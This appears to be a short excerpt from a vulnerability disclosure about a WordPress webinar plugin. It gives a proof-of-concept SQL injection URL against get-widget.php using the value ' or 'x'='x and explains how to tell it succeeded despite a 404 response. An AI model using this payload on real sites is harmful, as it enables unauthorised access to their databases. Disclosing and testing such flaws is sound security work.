Note: The HTTP response will read 404, but this is false:
www.example.com/wp-content/plugins/webinar_plugin/get-widget.php?wid=3' or 'x'='x
This will result in the page loading correctly and show that the plugin is vulnerable to injection (string).
##############################################################